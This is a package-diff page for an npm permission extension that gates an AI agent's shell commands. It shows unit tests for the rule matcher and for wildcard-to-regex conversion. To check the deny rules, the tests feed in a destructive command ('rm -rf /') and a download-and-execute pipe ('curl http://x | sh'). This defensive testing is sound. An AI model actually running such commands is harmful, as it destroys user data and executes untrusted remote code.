@zhushanwen/pi-permission 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (51) hide show
  1. package/README.md +455 -0
  2. package/index.ts +2 -0
  3. package/package.json +52 -0
  4. package/src/__tests__/approval.test.ts +456 -0
  5. package/src/__tests__/commands.test.ts +487 -0
  6. package/src/__tests__/config.test.ts +229 -0
  7. package/src/__tests__/e2e-modes.test.ts +253 -0
  8. package/src/__tests__/extension.test.ts +170 -0
  9. package/src/__tests__/index-integration.test.ts +282 -0
  10. package/src/__tests__/model-picker.test.ts +371 -0
  11. package/src/__tests__/pipeline.test.ts +976 -0
  12. package/src/__tests__/production.test.ts +102 -0
  13. package/src/__tests__/rule-editor-component.test.ts +475 -0
  14. package/src/__tests__/rule-editor.test.ts +252 -0
  15. package/src/__tests__/rule-templates.test.ts +264 -0
  16. package/src/__tests__/statusline.test.ts +221 -0
  17. package/src/__tests__/types.test.ts +59 -0
  18. package/src/approval.ts +352 -0
  19. package/src/ast/__tests__/analyzer.test.ts +262 -0
  20. package/src/ast/__tests__/loader.test.ts +136 -0
  21. package/src/ast/analyzer.ts +326 -0
  22. package/src/ast/index.ts +7 -0
  23. package/src/ast/loader.ts +113 -0
  24. package/src/classifier/__tests__/classifier.test.ts +285 -0
  25. package/src/classifier/__tests__/json-parser.test.ts +118 -0
  26. package/src/classifier/__tests__/model-resolver.test.ts +173 -0
  27. package/src/classifier/__tests__/prompt.test.ts +59 -0
  28. package/src/classifier/classifier.ts +242 -0
  29. package/src/classifier/index.ts +28 -0
  30. package/src/classifier/json-parser.ts +127 -0
  31. package/src/classifier/model-resolver.ts +295 -0
  32. package/src/classifier/prompt.ts +52 -0
  33. package/src/commands.ts +234 -0
  34. package/src/config.ts +216 -0
  35. package/src/index.ts +291 -0
  36. package/src/model-picker.ts +398 -0
  37. package/src/pipeline.ts +541 -0
  38. package/src/production.ts +102 -0
  39. package/src/rule-editor-component.ts +883 -0
  40. package/src/rule-editor.ts +262 -0
  41. package/src/rule-templates.ts +332 -0
  42. package/src/rules/__tests__/builtins.test.ts +614 -0
  43. package/src/rules/__tests__/index.test.ts +26 -0
  44. package/src/rules/__tests__/matcher.test.ts +378 -0
  45. package/src/rules/__tests__/wildcard.test.ts +84 -0
  46. package/src/rules/builtins.ts +680 -0
  47. package/src/rules/index.ts +27 -0
  48. package/src/rules/matcher.ts +160 -0
  49. package/src/rules/wildcard.ts +43 -0
  50. package/src/statusline.ts +226 -0
  51. package/src/types.ts +249 -0
@@ -0,0 +1,378 @@
1
+ /**
2
+ * MT 系列:matcher.ts 单元测试。
3
+ *
4
+ * 重点验证三个 critical gap 修正:
5
+ * - G1:no-match → { action:'ask' }(非 deny)
6
+ * - G2:pattern 双语义(builtin-danger 正则 vs user wildcard)
7
+ * - G3:matchRulesForArgv 先调 isKnownSafeCommand
8
+ *
9
+ * 以及 last-match-wins 语义、matchRules 退化路径、pattern 缓存。
10
+ */
11
+ import { describe, expect, it } from "vitest";
12
+
13
+ import type { Rule } from "../../types.js";
14
+ import {
15
+ BUILTIN_DANGER_RULES,
16
+ getDefaultRules,
17
+ matchRules,
18
+ matchRulesForArgv,
19
+ resolvePattern,
20
+ } from "../index.js";
21
+
22
+ // 构造 user 规则的辅助
23
+ function userRule(id: string, pattern: string, action: Rule["action"] = "allow"): Rule {
24
+ return { id, tool: "bash", pattern, action, source: "user" };
25
+ }
26
+
27
+ // ──────────────────────── G1: no-match 兜底 ────────────────────────
28
+
29
+ describe("MT-G1: no-match 返回 ask(非 deny)", () => {
30
+ it("matchRulesForArgv 无匹配 → ask", () => {
31
+ // 注意:ls 在 Codex 24 白名单会先命中 G3 → allow,故用非白名单命令 npm
32
+ const rules: Rule[] = [userRule("u1", "docker *")]; // 不匹配 npm
33
+ const r = matchRulesForArgv(["npm", "install"], rules);
34
+ expect(r.action).toBe("ask");
35
+ expect(r.matchedRule).toBeUndefined();
36
+ });
37
+
38
+ it("matchRules 无匹配 → ask", () => {
39
+ const rules: Rule[] = [userRule("u1", "npm *")];
40
+ const r = matchRules("bash", "ls", rules);
41
+ expect(r.action).toBe("ask");
42
+ expect(r.matchedRule).toBeUndefined();
43
+ });
44
+
45
+ it("空 rules 数组 → ask", () => {
46
+ const r = matchRulesForArgv(["rm", "-rf", "/"], []);
47
+ expect(r.action).toBe("ask");
48
+ });
49
+ });
50
+
51
+ // ──────────────────────── G2: pattern 双语义 ────────────────────────
52
+
53
+ describe("MT-G2: pattern 双语义(builtin-danger 正则 vs user wildcard)", () => {
54
+ it("builtin-danger pattern 是 RegExp(含 \\b/\\s)—— 作为正则编译", () => {
55
+ const rule = BUILTIN_DANGER_RULES[0]; // \brm\s+(-[^\s]*r|--recursive)
56
+ const re = resolvePattern(rule);
57
+ // 正则语义:rm -rf 匹配
58
+ expect(re.test("rm -rf /")).toBe(true);
59
+ expect(re.test("rm foo")).toBe(false);
60
+ });
61
+
62
+ it("user pattern 是 wildcard —— `.` 被转义为字面点", () => {
63
+ const rule = userRule("u1", "file.txt");
64
+ const re = resolvePattern(rule);
65
+ // wildcard 语义:. 是字面点,不是任意字符
66
+ expect(re.test("file.txt")).toBe(true);
67
+ expect(re.test("fileXtxt")).toBe(false);
68
+ });
69
+
70
+ it("两条 rm 规则:builtin-danger 正则 vs user wildcard `rm *`", () => {
71
+ const builtinRm = BUILTIN_DANGER_RULES[0]; // 正则 \brm\s+(-[^\s]*r|--recursive)
72
+ const userRm = userRule("u1", "rm *", "allow"); // wildcard
73
+
74
+ // 正则匹配 rm -rf
75
+ expect(resolvePattern(builtinRm).test("rm -rf /")).toBe(true);
76
+ // wildcard `rm *` 也匹配 rm -rf /
77
+ expect(resolvePattern(userRm).test("rm -rf /")).toBe(true);
78
+ // 但 wildcard `rm *` 不匹配 `rm`(末尾 ` *` 改写后匹配无参)—— 实际匹配
79
+ expect(resolvePattern(userRm).test("rm")).toBe(true);
80
+ // 正则 \brm\s+... 不匹配裸 rm(需要 \s+)
81
+ expect(resolvePattern(builtinRm).test("rm")).toBe(false);
82
+ });
83
+ });
84
+
85
+ // ──────────────────────── G3: isKnownSafeCommand 命中返回 allow ────────────────────────
86
+
87
+ describe("MT-G3: matchRulesForArgv 白名单兜底(C3:不再短路,user deny 覆盖白名单)", () => {
88
+ it("ls 命中白名单且无 deny 规则 → allow(白名单兜底)", () => {
89
+ // 无 user 规则 → winner=ask → 白名单兜底 → allow
90
+ const r = matchRulesForArgv(["ls", "-la"], []);
91
+ expect(r.action).toBe("allow");
92
+ expect(r.matchedRule?.source).toBe("builtin-safe");
93
+ });
94
+
95
+ it("C3 修正:ls 命中白名单但有 user deny → deny(user deny 覆盖白名单)", () => {
96
+ // 原行为(短路)会返回 allow,违背 last-match-wins 契约。
97
+ // C3 修正后:先匹配 rules,user deny 命中 → deny 胜出(白名单不再短路)。
98
+ const rules: Rule[] = [userRule("u1", "ls *", "deny")];
99
+ const r = matchRulesForArgv(["ls", "-la"], rules);
100
+ expect(r.action).toBe("deny");
101
+ expect(r.matchedRule?.id).toBe("u1");
102
+ });
103
+
104
+ it("C3 修正:ls 命中白名单,user allow 在 deny 之后 → allow(last-match-wins)", () => {
105
+ const rules: Rule[] = [
106
+ userRule("u1", "ls *", "deny"),
107
+ userRule("u2", "ls *", "allow"), // 后置 allow 覆盖 deny
108
+ ];
109
+ const r = matchRulesForArgv(["ls", "-la"], rules);
110
+ expect(r.action).toBe("allow");
111
+ expect(r.matchedRule?.id).toBe("u2");
112
+ });
113
+
114
+ it("git status 命中白名单 → allow", () => {
115
+ const rules: Rule[] = BUILTIN_DANGER_RULES.slice(); // 无匹配的 danger
116
+ const r = matchRulesForArgv(["git", "status"], rules);
117
+ expect(r.action).toBe("allow");
118
+ });
119
+
120
+ it("matchRules(退化路径)不调 isKnownSafeCommand —— command 字符串", () => {
121
+ // matchRules 不查白名单,直接对 command 字符串做正则/wildcard 匹配
122
+ const r = matchRules("bash", "ls -la", []);
123
+ expect(r.action).toBe("ask"); // 无规则匹配 → ask(不查白名单)
124
+ });
125
+
126
+ it("空 argv → ask(G3 不命中,无规则)", () => {
127
+ const r = matchRulesForArgv([], []);
128
+ expect(r.action).toBe("ask");
129
+ });
130
+ });
131
+
132
+ // ──────────────────────── last-match-wins ────────────────────────
133
+
134
+ describe("MT-last-match-wins: 后匹配的规则胜出", () => {
135
+ it("两条规则都匹配,后一条赢", () => {
136
+ const rules: Rule[] = [
137
+ userRule("u1", "git *", "deny"),
138
+ userRule("u2", "git *", "allow"), // 后一条
139
+ ];
140
+ const r = matchRulesForArgv(["nonexistent-cmd"], rules);
141
+ // 注意:nonexistent-cmd 不在白名单,且不匹配 git *
142
+ expect(r.action).toBe("ask");
143
+
144
+ // 用匹配的命令
145
+ const r2 = matchRulesForArgv(["npm", "install"], [
146
+ userRule("u1", "npm *", "deny"),
147
+ userRule("u2", "npm *", "allow"),
148
+ ]);
149
+ expect(r2.action).toBe("allow");
150
+ expect(r2.matchedRule?.id).toBe("u2");
151
+ });
152
+
153
+ it("user allow 覆盖 builtin-danger deny(user 在数组后)", () => {
154
+ const rules: Rule[] = [
155
+ ...getDefaultRules(), // builtin-danger 在前
156
+ userRule("u1", "rm *", "allow"), // user 在后,覆盖
157
+ ];
158
+ // rm foo 不在白名单,rm * 匹配,user allow 后置 → allow
159
+ // 但 rm -rf 会被 builtin-danger bd-001 匹配(deny),user rm * 也匹配(allow)
160
+ // last-match-wins → user 在后 → allow
161
+ const r = matchRulesForArgv(["rm", "-rf", "/tmp/x"], rules);
162
+ expect(r.action).toBe("allow");
163
+ expect(r.matchedRule?.id).toBe("u1");
164
+ });
165
+
166
+ it("user deny 在 builtin-danger 之后 → deny", () => {
167
+ // ls 不在白名单?错——ls 在 Codex 24 白名单
168
+ // 所以 ls 命中 G3 → allow,不到 rules
169
+ // 用非白名单命令验证 user deny
170
+ const r = matchRulesForArgv(["npm", "install"], [
171
+ userRule("u1", "npm *", "allow"),
172
+ userRule("u2", "npm *", "deny"), // 后置 deny 赢
173
+ ]);
174
+ expect(r.action).toBe("deny");
175
+ });
176
+ });
177
+
178
+ // ──────────────────────── matchRules 退化路径 ────────────────────────
179
+
180
+ describe("MT-matchRules: 退化路径(command 字符串)", () => {
181
+ it("toolName !== 'bash' → ask", () => {
182
+ const r = matchRules("edit", "rm -rf /", getDefaultRules());
183
+ expect(r.action).toBe("ask");
184
+ });
185
+
186
+ it("command === undefined → ask", () => {
187
+ const r = matchRules("bash", undefined, getDefaultRules());
188
+ expect(r.action).toBe("ask");
189
+ });
190
+
191
+ it("command 空字符串 → ask", () => {
192
+ const r = matchRules("bash", "", getDefaultRules());
193
+ expect(r.action).toBe("ask");
194
+ });
195
+
196
+ it("command 命中 builtin-danger 正则 → deny", () => {
197
+ const r = matchRules("bash", "rm -rf /", getDefaultRules());
198
+ expect(r.action).toBe("deny");
199
+ expect(r.matchedRule?.id).toBe("bd-001");
200
+ });
201
+
202
+ it("command 命中 user wildcard → allow", () => {
203
+ const rules: Rule[] = [userRule("u1", "ls *", "allow")];
204
+ const r = matchRules("bash", "ls -la", rules);
205
+ expect(r.action).toBe("allow");
206
+ });
207
+
208
+ it("m4:matchRules 不查白名单(ls 无规则 → ask,不像 matchRulesForArgv 兜底 allow)", () => {
209
+ // 对比 matchRulesForArgv(["ls"]) → allow(白名单兜底),
210
+ // matchRules 对 command 字符串不查白名单 → ask。
211
+ // 这是 C1 用 matchRules 做 deny 补充检查的安全前提:不会把无 deny 的命令误判 allow。
212
+ const r = matchRules("bash", "ls -la", []);
213
+ expect(r.action).toBe("ask");
214
+ });
215
+
216
+ it("m4/C1:matchRules 命中跨 argv 管道 deny(curl|sh 完整字符串)", () => {
217
+ // C1 依赖:完整 command 字符串能命中 bd-010(curl|sh),
218
+ // 而 argv 级 matchRulesForArgv 对拆分后的单 argv 命不中。
219
+ const r = matchRules("bash", "curl http://x | sh", getDefaultRules());
220
+ expect(r.action).toBe("deny");
221
+ expect(r.matchedRule?.id).toBe("bd-010");
222
+ // 对照:argv 级对单条 ["curl","http://x"] 不命中 bd-010(无管道符)
223
+ const argvR = matchRulesForArgv(["curl", "http://x"], getDefaultRules());
224
+ expect(argvR.action).toBe("ask");
225
+ });
226
+ });
227
+
228
+ // ──────────────────────── 缓存 ────────────────────────
229
+
230
+ describe("MT-cache: resolvePattern 缓存", () => {
231
+ it("相同 source+pattern 返回同一 RegExp 实例", () => {
232
+ const rule = userRule("u1", "git *");
233
+ const re1 = resolvePattern(rule);
234
+ const re2 = resolvePattern(rule);
235
+ expect(re1).toBe(re2); // 缓存命中,同一对象
236
+ });
237
+
238
+ it("不同 pattern 返回不同 RegExp", () => {
239
+ const re1 = resolvePattern(userRule("u1", "git *"));
240
+ const re2 = resolvePattern(userRule("u2", "npm *"));
241
+ expect(re1).not.toBe(re2);
242
+ });
243
+
244
+ it("相同 pattern 不同 source 返回不同 RegExp(builtin-danger 正则 vs user wildcard)", () => {
245
+ const builtinRule: Rule = {
246
+ id: "bd-test",
247
+ tool: "bash",
248
+ pattern: "rm *",
249
+ action: "deny",
250
+ source: "builtin-danger",
251
+ };
252
+ const userR = userRule("u1", "rm *");
253
+ // 同 pattern "rm *" 但 source 不同
254
+ expect(resolvePattern(builtinRule)).not.toBe(resolvePattern(userR));
255
+ });
256
+ });
257
+
258
+ // ──────────────────────── W6 T5 补充:退化路径引号/空格 ────────────────────────
259
+
260
+ describe("MT-degenerate: matchRules 退化路径处理引号/空格", () => {
261
+ it("git commit -m 'a b' —— 含空格和单引号的 command 字符串", () => {
262
+ // 退化路径对原始 command 字符串匹配,引号原样保留
263
+ // builtin-danger 含 \brm\b 等正则;git commit 不命中 → ask
264
+ const r = matchRules("bash", "git commit -m 'a b'", getDefaultRules());
265
+ expect(r.action).toBe("ask");
266
+ expect(r.matchedRule).toBeUndefined();
267
+ });
268
+
269
+ it("git commit -m 'a b' 命中 user wildcard allow", () => {
270
+ // user 规则 'git commit *' 应匹配(wildcard * 跨空格)
271
+ const rules: Rule[] = [userRule("u1", "git commit *", "allow")];
272
+ const r = matchRules("bash", "git commit -m 'a b'", rules);
273
+ expect(r.action).toBe("allow");
274
+ expect(r.matchedRule?.id).toBe("u1");
275
+ });
276
+
277
+ it("含双引号嵌套空格的 command 字符串", () => {
278
+ // command 字符串原样匹配(不解析引号语义)
279
+ const r = matchRules("bash", 'echo "hello world"', getDefaultRules());
280
+ // echo 命中 builtin-danger?查实际行为:echo 不在 danger 列表 → ask
281
+ expect(r.action).toBe("ask");
282
+ });
283
+ });
284
+
285
+ // ──────────────────────── W6 T5 补充:拼接顺序(last-match-wins) ────────────────────────
286
+
287
+ describe("MT-buildOrder: getDefaultRules + userRules 拼接顺序(last-match-wins)", () => {
288
+ it("pipeline 拼接顺序:[...getDefaultRules(), ...userRules] —— user 在后", () => {
289
+ // 模拟 pipeline.ts:403 的拼接:[...deps.getDefaultRules(), ...userRules]
290
+ // builtin-danger 有 rm 规则(deny),user 加一条 rm allow → user 在后应胜出
291
+ const builtin = getDefaultRules();
292
+ const userAllow: Rule = { id: "u-override", tool: "bash", pattern: "rm *", action: "allow", source: "user" };
293
+ const combined = [...builtin, userAllow];
294
+
295
+ // rm 命令:builtin deny 先匹配,user allow 后匹配 → last-match-wins → allow
296
+ const r = matchRulesForArgv(["rm", "-rf", "/tmp"], combined);
297
+ expect(r.action).toBe("allow");
298
+ expect(r.matchedRule?.id).toBe("u-override");
299
+ });
300
+
301
+ it("user deny 在 builtin allow 之后 → deny(last-match-wins)", () => {
302
+ // 构造场景:先 builtin-safe(虚拟,通过白名单)→ 但白名单优先级最高。
303
+ // 这里测纯 rules 数组顺序:allow 在前,deny 在后 → deny 胜
304
+ const allow: Rule = userRule("u1", "npm *", "allow");
305
+ const deny: Rule = userRule("u2", "npm *", "deny");
306
+ const combined = [allow, deny];
307
+ const r = matchRulesForArgv(["npm", "install"], combined);
308
+ expect(r.action).toBe("deny");
309
+ });
310
+
311
+ it("getDefaultRules 全部 source=builtin-danger", () => {
312
+ // 验证内置规则的 source 标签(确保拼接时 builtin 在前)
313
+ const builtin = getDefaultRules();
314
+ expect(builtin.length).toBeGreaterThan(0);
315
+ for (const rule of builtin) {
316
+ expect(rule.source).toBe("builtin-danger");
317
+ expect(rule.action).toBe("deny");
318
+ }
319
+ });
320
+ });
321
+
322
+ // ──────────────────────── W6 T5 补充:ReDoS 性能 ────────────────────────
323
+
324
+ describe("MT-redos: wildcard 超长 pattern 不触发 ReDoS(<100ms)", () => {
325
+ it("100 个 * 的 pattern 编译 + 匹配 < 100ms", () => {
326
+ // 构造 100 个 * 的 pattern(catastrophic backtracking 风险场景)
327
+ const pattern = "*".repeat(100);
328
+ const rule = userRule("u-redos", pattern, "allow");
329
+
330
+ const start = Date.now();
331
+ // 编译(resolvePattern)+ 多次匹配
332
+ const re = resolvePattern(rule);
333
+ const target = "a".repeat(50) + " " + "b".repeat(50);
334
+ for (let i = 0; i < 100; i++) {
335
+ re.test(target);
336
+ }
337
+ const elapsed = Date.now() - start;
338
+
339
+ // 阈值 100ms(含编译 + 100 次匹配);ReDoS 会爆炸到秒级
340
+ expect(elapsed).toBeLessThan(100);
341
+ });
342
+
343
+ it("matchRulesForArgv 对超长 pattern 命令 < 100ms", () => {
344
+ const pattern = "*".repeat(100);
345
+ const rules: Rule[] = [userRule("u1", pattern, "allow")];
346
+ const argv = ["a".repeat(50), "b".repeat(50)];
347
+
348
+ const start = Date.now();
349
+ const r = matchRulesForArgv(argv, rules);
350
+ const elapsed = Date.now() - start;
351
+
352
+ expect(r.action).toBe("allow");
353
+ expect(elapsed).toBeLessThan(100);
354
+ });
355
+ });
356
+
357
+ // ──────────────────────── W6 T5 补充:matcher no-match ask 契约 ────────────────────────
358
+
359
+ describe("MT-contract: no-match ask 语义契约", () => {
360
+ it("matchRulesForArgv no-match 永远返回 { action:'ask', matchedRule:undefined }", () => {
361
+ // 非白名单命令 + 无匹配规则 → ask(不是 deny,让下游 AI/人工判断)
362
+ const r = matchRulesForArgv(["curl", "http://example.com"], []);
363
+ expect(r).toEqual({ action: "ask", matchedRule: undefined });
364
+ });
365
+
366
+ it("matchRules no-match 永远返回 { action:'ask', matchedRule:undefined }", () => {
367
+ const r = matchRules("bash", "nonexistent-command --flag", []);
368
+ expect(r).toEqual({ action: "ask", matchedRule: undefined });
369
+ });
370
+
371
+ it("ask 契约:deny 必须有 matchedRule(deny 不应匿名)", () => {
372
+ // 内置危险规则命中时必须携带 matchedRule(审计/调试用)
373
+ const r = matchRulesForArgv(["rm", "-rf", "/"], getDefaultRules());
374
+ expect(r.action).toBe("deny");
375
+ expect(r.matchedRule).toBeDefined();
376
+ expect(r.matchedRule?.source).toBe("builtin-danger");
377
+ });
378
+ });
@@ -0,0 +1,84 @@
1
+ /**
2
+ * WC1-WC8: wildcardToRegExp 单元测试。
3
+ *
4
+ * 验证 OpenCode 风格 wildcard 语义:
5
+ * - `*` 跨任意字符(含空格)
6
+ * - `?` 单字符
7
+ * - 末尾 ` *` 匹配无参(`ls *` 也匹配 `ls`)
8
+ * - 元字符转义(`.` `+` `$` 等被字面匹配)
9
+ * - 全锚定(`^...$`)
10
+ *
11
+ * 注意:win32 平台会加 'i' flag(大小写不敏感),非 win32 大小写敏感。
12
+ * 测试用例在 macOS/linux 跑(大小写敏感),不依赖平台 flag 差异。
13
+ */
14
+ import { describe, expect, it } from "vitest";
15
+
16
+ import { wildcardToRegExp } from "../wildcard.js";
17
+
18
+ describe("WC: wildcardToRegExp", () => {
19
+ it("WC1: `*` 匹配任意(含空格)", () => {
20
+ const re = wildcardToRegExp("git *");
21
+ expect(re.test("git commit -m msg")).toBe(true);
22
+ // 注意:末尾 ` *` 会被改写为 `( .*)?`,所以 `git *` 也匹配无参 `git`(见 WC3)
23
+ expect(re.test("git")).toBe(true);
24
+ expect(re.test("gitsomething")).toBe(false); // 全锚定
25
+ expect(re.test("hg push")).toBe(false); // 不以 git 开头
26
+ });
27
+
28
+ it("WC2: `?` 匹配单字符", () => {
29
+ const re = wildcardToRegExp("git checkout ?");
30
+ expect(re.test("git checkout a")).toBe(true);
31
+ expect(re.test("git checkout ab")).toBe(false); // ? 只匹配 1 个
32
+ });
33
+
34
+ it("WC3: 末尾 ` *` 匹配无参(`ls *` 也匹配 `ls`)", () => {
35
+ const re = wildcardToRegExp("ls *");
36
+ expect(re.test("ls")).toBe(true); // 关键:无参也匹配
37
+ expect(re.test("ls -la")).toBe(true);
38
+ expect(re.test("ls /tmp")).toBe(true);
39
+ });
40
+
41
+ it("WC4: 空字符串 pattern", () => {
42
+ const re = wildcardToRegExp("");
43
+ expect(re.test("")).toBe(true);
44
+ expect(re.test("x")).toBe(false);
45
+ });
46
+
47
+ it("WC5: 特殊字符转义(`.` `+` `$` 被字面匹配)", () => {
48
+ // `.` 应被转义为字面点
49
+ const re = wildcardToRegExp("file.txt");
50
+ expect(re.test("file.txt")).toBe(true);
51
+ expect(re.test("fileXtxt")).toBe(false); // 点不是通配
52
+
53
+ // `+` 应被转义
54
+ const re2 = wildcardToRegExp("a+b");
55
+ expect(re2.test("a+b")).toBe(true);
56
+ expect(re2.test("aaab")).toBe(false); // + 不是量词
57
+ });
58
+
59
+ it("WC6: 大小写敏感(非 win32)", () => {
60
+ const re = wildcardToRegExp("ls");
61
+ // 非 win32 不加 'i' flag
62
+ if (process.platform !== "win32") {
63
+ expect(re.test("ls")).toBe(true);
64
+ expect(re.test("LS")).toBe(false);
65
+ expect(re.test("Ls")).toBe(false);
66
+ } else {
67
+ expect(re.test("LS")).toBe(true); // win32 大小写不敏感
68
+ }
69
+ });
70
+
71
+ it("WC7: 复合 `git *` 匹配多参数命令", () => {
72
+ const re = wildcardToRegExp("git *");
73
+ expect(re.test("git push origin main")).toBe(true);
74
+ expect(re.test("git commit -m 'hello world'")).toBe(true); // 含空格
75
+ expect(re.test("hg push")).toBe(false); // 不以 git 开头
76
+ });
77
+
78
+ it("WC8: 边界——纯字面无通配", () => {
79
+ const re = wildcardToRegExp("pwd");
80
+ expect(re.test("pwd")).toBe(true);
81
+ expect(re.test("pwdx")).toBe(false);
82
+ expect(re.test(" pwd")).toBe(false);
83
+ });
84
+ });